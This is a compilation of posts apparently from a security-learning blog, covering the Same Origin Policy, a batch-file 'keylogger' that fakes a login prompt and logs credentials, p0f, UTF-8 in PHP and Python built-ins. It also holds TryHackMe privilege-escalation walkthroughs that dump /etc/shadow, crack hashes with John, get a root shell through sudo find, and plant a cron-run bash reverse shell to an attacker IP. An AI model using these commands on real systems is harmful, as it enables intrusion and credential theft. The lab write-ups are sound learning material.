3) Exceptions: There are some exceptions to the Same Origin Policy, such as allowing resources to be loaded from different origins if explicitly permitted through mechanisms like Cross-Origin Resource Sharing (CORS) headers. These exceptions are controlled by the server hosting the resource being accessed.

4) Cross-Origin Requests: If a web page tries to make a cross-origin request without proper authorization (such as appropriate CORS headers), the browser will block the request and prevent the web page from accessing the response data.

The Same Origin Policy is a foundational concept in web security that helps protect users and their data from unauthorized access and malicious attacks by enforcing strict rules about how web pages can interact with resources from different origins.

There are three type of origin -

1) Protocol: This specifies the communication protocol used to access the web resource. It is usually either "http" or "https."

2) Domain: This is the hostname of the web server that hosts the resource. It can be an IP address or a human-readable domain name, like "example.com."

3) Port: This is the network port on the web server that is used for communication. It is typically omitted or assumed to be the default port (80 for HTTP, 443 for HTTPS) unless explicitly specified.

In simpler terms, an "origin" is a unique combination of the protocol, domain, and port that identifies the source of a web page. For example, if you have a web page loaded from "https://www.example.com," its origin would be "https://www.example.com."

Lets take example of live with localhost in our kali linux

Now, Here we creating two file, one is example1.php and another one is called example2.php but inside of example1.php file we adding iframe with src of example2.php file and then with the help of this we will access the SAME ORIGIN POLICY (SOP) (another host, domain, port, protocol).

Here is the code of example1.php

<!DOCTYPE html>
<html>
<head>
<title>Same Origin Policy</title>
</head>

<body>

<iframe src="http://127.0.0.1:9091/example2.php" name="test" width="800" height="600"></iframe>

<script>
  document.getElementsByName('test')[0].onload = function()
{
  try {
  console.log(frames[0].hostname)
      }
  catch(e)
      {
  console.log(e);
      }

}

</script>


</body>
</html>

Output

Now we will open inspect element and check console and as you can see below the image

It is telling permission denied to access property "hostname" on cross-origin object so, we can't access SOP.

But if we want to access them don't worry I AM HERE -:)

Don't forgot to check out these links and go to these website to learn how to access them.

Exploitation of CORS Prefix-Suffix Match

Brought to you by Hacking Truth

Direct Link - CLICK HERE

Cross-Origin Resource Sharing

W3C working draft that defines how the browser and server must communicate when accessing sources across origins. CORS Cross Origin Resource Sharing Vulnerability on Live Website.

Disclaimer

keystroke keylogger via code

2023-08-03T00:31:00.004-07:00

Keyloggers

Keystroke logging, keylogging and capturing is a process of monitoring or recording the action performed by any user such as monitoring a user using keyboard using keyloggers. Keyloggers can be either Hardware or software.The major purpose of using keylogger are monitoring data copied to the keyboard screenshots captured by the user screen logging by capturing a screenshot at every moment even when the user just clicked.

There are two types of keylogger

1) Hardware keylogger
2) Software Keylogger

Hardware Keylogger

# PC/BIOS Embedded Keylogger
# Keylogger Keyboard
# External Keylogger

External Keylogger

# PS/2 Keylogger
# Acoustic Keylogger
# WIFI Keylogger
# USB keylogger
# Bluetooth Keylogger
# Video Keylogger

Software Keylogger

# Kernel Keylogger
# Form Grabbing Based Keylogger
# Hypervisor Based Keylogger
# Application Keylogger

Software Keylogger

Software key level performs it's function by login the action in order to Steal information from the target machine. Software based kilograms are remotely installed, or an attacker may send it to the user and user can accidentally execute application.

Hardware Keylogger

Hardware key are physical hardwares which are installed on hardware by physically access the machine to load the software into BIOS, keyboard hardware such as key grabber. USB physical device need to be installed inline with the keyboard hardware.

Creating Keylogger with Notepad

Step 1 - first of all, you need to open notepad in your windows by pressing windows button and R button and then selecting the notepad from the option.

@echo off
color a
title Login

cls
echo Please enter your Email address and Password
echo
echo
cd "C:Logs"
Set /P user = username
Set /P Pass = password
echo Username = "%user%"
Password= "%pass%" >> Log.txt
Start >> program Here <<
exit

Step 2 - now save this file has Logs.bat on your desktop.

Step 3 - now create a new folder name logs (Note that keylogger will only work if the folder name is logs) cut the folder and paste into C: Drive.

Step 4 - Now test your file Log.bat and then after entering the username and password.

Step 5 - open the folder in c drive and see all saved key logs there as a text file created there automatically.

That's it you are done you have successfully created a keylogger in notepad.

Disclaimer

p0f passive OS detection

2023-07-30T18:06:00.002-07:00

p0f-kali-linux

p0f performs passive OS detection based on SYN packets. Unlike nmap, p0f does recognition without sending any data. Additionally, it is able to determine the distance to the remote host, and can be used to determine the structure of a foreign or local network. When running on the gateway of a network it is able to gather huge amounts of data and provide useful statistics. On a user-end computer it could be used as powerful IDS add-on. p0f supports full tcpdump-style filtering expressions, and has an extensible and detailed fingerprinting database.

To use p0f on Kali Linux, you can follow these steps:

1. Open a terminal on Kali Linux.

2. Install p0f if it's not already installed:

sudo apt update
sudo apt install p0f

Once p0f is installed, you can start using it by specifying the network interface you want to monitor for passive OS fingerprinting. For example, to use p0f on the "eth0", "wlan0" network interface, you can run the following command:

sudo p0f -i <interface name>
ifconfig (To check interface in your kali system)

The tool will start listening to the network traffic on the specified interface and attempt to identify the OS of the hosts communicating on that network.

Please note that network sniffing and OS fingerprinting can be subject to various legal and ethical considerations. Always ensure you have the necessary permissions and authorization before using such tools, and only use them on networks you own or have explicit permission to test. Unauthorized use of network sniffing tools is illegal and unethical. Always act responsibly and respect the privacy and security of others.

Disclaimer

How Actually UTF-8 works with Practical?

2023-02-20T09:55:00.001-08:00

Actually what is it UTF-8?

UTF-8 (unicode transformation format) is a character encoding that is commonly used in web development to represent text using a sequence of bytes.

It is designed to be compatible with ASCII, which means that ASCII character can be represented using a single byte, while characters from other scripts, such as chinese etc, require multiple bytes.

UTF-8 is widely used in web development becuase it allows developers to support a wide range of characters and scripts without requiring complex encoding schemes or special handling for different language.

It's support most modern web browsers and web servers.

Web browser how can understand UTF-8?

Web browser can understand UTF-8 encoding because it is the default character encoding used by the world wide web.

When a web page is loaded in a browser, the browser looks for a character encoding declaration in the document's metadata, such as the HTML <meta> element or the HTTP "Content-Type" header. If no explicit encoding is specified, the browser assumes that the content is encoded in UTF-8 by default.

How we can implement UTF-8 in web development and convert in to UTF-8 in computer language?

First we implement a HTML From for take user input!! so lets start with the HTML coding.

Let's say you are building a web form that allows users to input their name and email address. You want to ensure that the form can handle names and email addresses from around the world,

Here's an example HTML form that uses UTF-8 encoding:

<form action="submit-form.php" method="post">
<label for="name">Name:</label>
<input type="text" name="name" id="name">

<label for="email">Email:</label>
<input type="email" name="email" id="email">

<button type="submit">Submit</button>
</form>

In the PHP script that handles the form submission (submit-form.php), we can use the $_POST superglobal to access the form data. Because we are using UTF-8 encoding, any non-ASCII characters in the form data will be correctly represented:

$name = $_POST['name'];
$email = $_POST['email'];

<!DOCTYPE html>
<html>
    <head>
    <title>UTF-8 encoding </title>
	<meta charset="UTF-8">
     </head>
	 <style>
        .form-css {
            top: 50%;
            left:50%;
            transform: translate(-50%, -50%);
            position: absolute;
            border: 2px solid black;
            padding: 30px;
        }
        </style>

<body>
<form action="form.php" class="form-css" method="post">
    <h2 style="text-align:center">Hacking Truth</h2>
  <label for="name">Name:</label>
  <input type="text" name="name" id="name">

  <label for="email">Email:</label>
  <input type="email" name="email" id="email">

  <button type="submit" name="submit">Submit</button>
  
 
</form>

<?php
if(isset($_POST['submit']))
{
    
$name = $_POST['name'];
$email = $_POST['email'];

echo "<h4>Your Name is $name</h4>";

echo "<h4>Your Email ID is $email</h4>";

}
?>

</body>
</html>

NOTE - View it in desktop mode to see it in good resolution.

Now, we take user's output like "atul" and convert it into ASCII and binary too, then computer understands our language.

Here are the steps to follow:

Look up the ASCII code for each character in the text. You can find an ASCII table online, but in general, the ASCII codes for uppercase and lowercase letters, digits, and most punctuation marks are the same as their Unicode code points.

In this case, the ASCII codes for the characters in "atul" are:

a = 97
t = 116
u = 117
l = 108

PHP Code of Decimal To Binary Converter

<?php

echo "<h1>Hacking Truth</h1>";
echo "<br />";
$a = decbin(97);
echo "The Decimal value of 97 is : $a";
echo "<br />";
$b = decbin(116);
echo "The Decimal value of 116 is : $b";
echo "<br />";
$c = decbin(117);
echo "The Decimal value of 117 is : $c";
echo "<br />";
$d = decbin(108);
echo "The Decimal value of 108 is : $d";
echo "<br />";

?>

Computer Be Like - Thank You Buddy :-)

Disclaimer

Python built in functions

2023-01-28T09:28:00.000-08:00

Filter()

The filter function is used to filter elements from an iterable according to a condition. It accepts two parameters: a function and an iterable. The function must return a boolean value, which will be used to filter the iterable. For example, you can use the following code to filter all even numbers from a list.

                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ cat filter.py
#!/usr/bin/python3

numbers = [1,2,3,4,5,6,7,8,9]

even_numbers = list(filter(lambda x:x % 2 ==0, numbers))
print(even_numbers)
odd_numbers = list(filter(lambda x:x % 2 == 1, numbers))
print(odd_numbers)
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ python3 filter.py
[2, 4, 6, 8]
[1, 3, 5, 7, 9]
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$

Reduce()

The retuce() function applies a function to all elements of an iterable and returns a single value. Because it is a component of the functools module, it must be imported before use. For example, you can use the following code to find the product of all elements in a list.

                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ cat reduce.py     
#!/usr/bin/python3

from functools import reduce

numbers = [1,2,3,4,5]
product = reduce(lambda x,y: x*y, numbers)
print(product)
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ python3 reduce.py            
120
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$

isinstance()

The isinstance function is used to check if an object is an instance of a certain class or a subclass. It takes two argument: an object and a class. For example, you can use the following code to check if a variable is a list.

                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ cat isinstance.py 
#!/usr/bin/python3

x = [1,2,3]

result = isinstance(x, list)

print(result)
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ sudo python3 isinstance.py                                                                          
True
                                                                                                                                                                       
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ cat isinstance.py
#!/usr/bin/python3

x = (1,2,3)

result = isinstance(x, list)

print(result)
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ sudo python3 isinstance.py
False
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$

zip()

The zip function is used to combine two or more list into a single list of tuples. For example you can use the following two lists.

                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ cat zip.py
#!/usr/bin/python3

list1 = [1,2,3,4,5]

list2 = [6,7,8,9]

print(list(zip(list1, list2)))
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$ python3 zip.py
[(1, 6), (2, 7), (3, 8), (4, 9)]
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/python/blogger-content]
└─$

map()

The map() function is used to apply a function to all elements of an iterable. For example, you can use the following code to square all elements of a list.

numbers = [1, 2, 3]

numbers = [1, 2, 3, 4]

Disclaimer

Privilege Escalation: Capstone Challenge - base64

2023-01-12T22:50:00.005-08:00

Privilege Escalation: Capstone Challenge

Privilege escalation ideally leads to root privileges. This can sometimes be achieved simply by exploiting an existing vulnerability, or in some cases by accessing another user account that has more privileges, information, or access.

Unless a single vulnerability leads to a root shell, the privilege escalation process will rely on misconfigurations and lax permissions.

# What is the content of the flag1.txt file?

After accessing the machine on SSH, we can enumerate using Linepeas.sh or conduct a manual search for possible privilege escalation vectors.

Here I’m going to use the manual method.

After looking through a list of SUID permissions I discovered that base64 can be used to read files.

find / -type f -perm -04000 -ls 2>/dev/null

A quick search of where the flag is in the “/home” directory gives us the following result.

find -name flag*.txt

We know the flags are in somewhere in the above directories but we can’t access them.

Let’s try to crack the password for missy.

First we will output the contents of the shadow file and try to crack missy’s password with John.

LFILE=/etc/shadow
base64 "$LFILE" | base64 --decode


[leonard@ip-10-10-218-85 home]$ 
[leonard@ip-10-10-218-85 home]$ 
[leonard@ip-10-10-218-85 home]$ LFILE=/etc/shadow
[leonard@ip-10-10-218-85 home]$ base64 "$LFILE" | base64 --decode
root:$6$DWBzMoiprTTJ4gbW$g0szmtfn3HYFQweUPpSUCgHXZLzVii5o6PM0Q2oMmaDD9oGUSxe1yvKbnYsaSYHrUEQXTjIwOW/yrzV5HtIL51::0:99999:7:::
bin:*:18353:0:99999:7:::
daemon:*:18353:0:99999:7:::
adm:*:18353:0:99999:7:::
lp:*:18353:0:99999:7:::
sync:*:18353:0:99999:7:::
shutdown:*:18353:0:99999:7:::
halt:*:18353:0:99999:7:::
mail:*:18353:0:99999:7:::
operator:*:18353:0:99999:7:::
games:*:18353:0:99999:7:::
ftp:*:18353:0:99999:7:::
nobody:*:18353:0:99999:7:::
pegasus:!!:18785::::::
systemd-network:!!:18785::::::
dbus:!!:18785::::::
polkitd:!!:18785::::::
colord:!!:18785::::::
unbound:!!:18785::::::
libstoragemgmt:!!:18785::::::
saslauth:!!:18785::::::
rpc:!!:18785:0:99999:7:::
gluster:!!:18785::::::
abrt:!!:18785::::::
postfix:!!:18785::::::
setroubleshoot:!!:18785::::::
rtkit:!!:18785::::::
pulse:!!:18785::::::
radvd:!!:18785::::::
chrony:!!:18785::::::
saned:!!:18785::::::
apache:!!:18785::::::
qemu:!!:18785::::::
ntp:!!:18785::::::
tss:!!:18785::::::
sssd:!!:18785::::::
usbmuxd:!!:18785::::::
geoclue:!!:18785::::::
gdm:!!:18785::::::
rpcuser:!!:18785::::::
nfsnobody:!!:18785::::::
gnome-initial-setup:!!:18785::::::
pcp:!!:18785::::::
sshd:!!:18785::::::
avahi:!!:18785::::::
oprofile:!!:18785::::::
tcpdump:!!:18785::::::
leonard:$6$JELumeiiJFPMFj3X$OXKY.N8LDHHTtF5Q/pTCsWbZtO6SfAzEQ6UkeFJy.Kx5C9rXFuPr.8n3v7TbZEttkGKCVj50KavJNAm7ZjRi4/::0:99999:7:::
mailnull:!!:18785::::::
smmsp:!!:18785::::::
nscd:!!:18785::::::
missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJxMoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0:99999:7:::
[leonard@ip-10-10-218-85 home]$ 
[leonard@ip-10-10-218-85 home]$

missy:$6$BjOlWE21$HwuDvV1iSiySCNpA3Z9LxkxQEqUAdZvObTxJx

MoCp/9zRVCi6/zrlMlAQPAxfwaD2JCUypk4HaNzI3rPVqKHb/:18785:0

:99999:7:::

We will create a new file on our machine using nano and paste the credentials of missy to crack with John

nano file-to-crack.txt

cat file-to-crack.txt

john --wordlist=<file-of-wordlist.txt>file-to-crack.txt

john --show file-to-crack.txt

Now we will login as missy and retrieve the first flag.

su missy

The first flag is located in the documents folder.

cd /Documents

cat flag1.txt

Ans: THM-42828719920544

We know that the second flag is in rootflag directory but we still don’t have access to it.

So, we’ll again enumerate for possible privilege escalation vectors.

Here we discovered that missy can run the find command as sudo privileges, as usual we will head over to GTFOBins and lookup for find.

sudo -l

Here we gain root privileges, and now we can retrieve the flag and finish the course.

sudo find . -exec /bin/sh \; -quit

whoami

ls -la

cd rootflag

cat flag2.txt

# What is the content of the flag2.txt file?

Ans - THM-168824782390238

Disclaimer

Privilege Escalation: Cron Jobs

2023-01-06T23:21:00.003-08:00

Cron jobs are used to run scripts or binaries at specific times. By default, they run with the privilege of their owners and not the current user. While properly configured cron jobs are not inherently vulnerable, they can provide a privilege escalation vector under some conditions.

The idea is quite simple; if there is a scheduled task that runs with root privileges and we can change the script that will be run, then our script will run with root privileges.

Cron job configurations are stored as crontabs (cron tables) to see the next time and date the task will run.

Each user on the system have their crontab file and can run specific tasks whether they are logged in or not. As you can expect, our goal will be to find a cron job set by root and have it run our script, ideally a shell.

Any user can read the file keeping system-wide cron jobs under /etc/crontab

While CTF machines can have cron jobs running every minute or every 5 minutes, you will more often see tasks that run daily, weekly or monthly in penetration test engagements.

First we will use ssh and we will come inside his house wihtout informing ( atithi devo bhaava ) :-p

# How many cron jobs can you see on the target system?

Ans: 4

We can list the running cron jobs by typing in cat /etc/crontab

$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * *  root /antivirus.sh
* * * * *  root antivirus.sh
* * * * *  root /home/karen/backup.sh
* * * * *  root /tmp/test.py


$

There is one thing remind call..

Crontab is always worth checking as it can sometimes lead to easy privilege escalation vectors. The following scenario is not uncommon in companies that do not have a certain cyber security maturity level:

System administrators need to run a script at regular intervals.
They create a cron job to do this
After a while, the script becomes useless, and they delete it
They do not clean the relevant cron job

This change management issue leads to a potential exploit leveraging cron jobs.

if you find antivirus script inside your target machine then there's no file display because file will be deleted by someone but in cronjobs script file is still there so we have a opporunity to exploit them.

If the full path of the script is not defined (as it was done for the backup.sh script), cron will refer to the paths listed under the PATH variable in the /etc/crontab file. In this case, we should be able to create a script named “antivirus.sh” under our user’s home folder and it should be run by the cron job.

If we try to access the “flag5.txt” file present in the “/home/ubuntu” directory, we can see that we don’t have access to it.

Since we know that there’s a cron job set up for the “backup.sh” file to run every min from the previous enumeration, we can attempt to exploit the script here.

We can type in nano backup.sh to open up nano editor and add in our bash reverse shell script to the “backup.sh” file.

#!/bin/bash
bash -i >& /dev/tcp/<OUR_MACHINE_IP>/<PORT> 0>&1

I forgot to check if the script file was set to executable or not, and I kept waiting for the reverse shell and it never connected back, I wasted hours googling, modifying my bash shell, trying to figure out why my cron job script isn’t working. I was about to give up until I noticed the permissions…

I feel dumb for wasting hours on something so simple, but well we all learn from our mistakes, and am no pro anyways.

So, I made the file executable:

chmod +x backup.sh

In the other terminal, I started netcat listener and waited for the script to run...

nc -nvlp 4444

Now, we can see the content of flag5.txt

# What is Matt’s password?

Ans:

As we already have root privileges, we can access the shadow file and try to crack Matt’s password using John.

root@ip-10-10-32-249:/home/ubuntu# cat /etc/shadow | grep matt
cat /etc/shadow | grep matt
matt:$6$WHmIjebL7MA7KN9A$C4UBJB4WVI37r.Ct3Hbhd3YOcua3AUowO2w2RUNauW8IigHAyVlHzhLrIUxVSGa.twjHc71MoBJfjCTxrkiLR.:18798:0:99999:7:::
root@ip-10-10-32-249:/home/ubuntu#


┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/kernel-exploit/task9]
└─$ nano mattpassword.txt                                                      
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/kernel-exploit/task9]
└─$ sudo john --wordlist=/home/hackerboy/Documents/rockyou.txt mattpassword.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456           (?)     
1g 0:00:00:00 DONE (2023-01-07 11:29) 1.492g/s 382.0p/s 382.0c/s 382.0C/s 123456..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/kernel-exploit/task9]
└─$ cat mattpassword.txt
$6$WHmIjebL7MA7KN9A$C4UBJB4WVI37r.Ct3Hbhd3YOcua3AUowO2w2RUNauW8IigHAyVlHzhLrIUxVSGa.twjHc71MoBJfjCTxrkiLR.
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/kernel-exploit/task9]
└─$ sudo john --show mattpassword.txt                                           
?:123456

1 password hash cracked, 0 left
                                                                                                                                                                        
┌──(hackerboy㉿KumarAtulJaiswal)-[~/Desktop/kernel-exploit/task9]
└─$

cat /etc/shadow | grep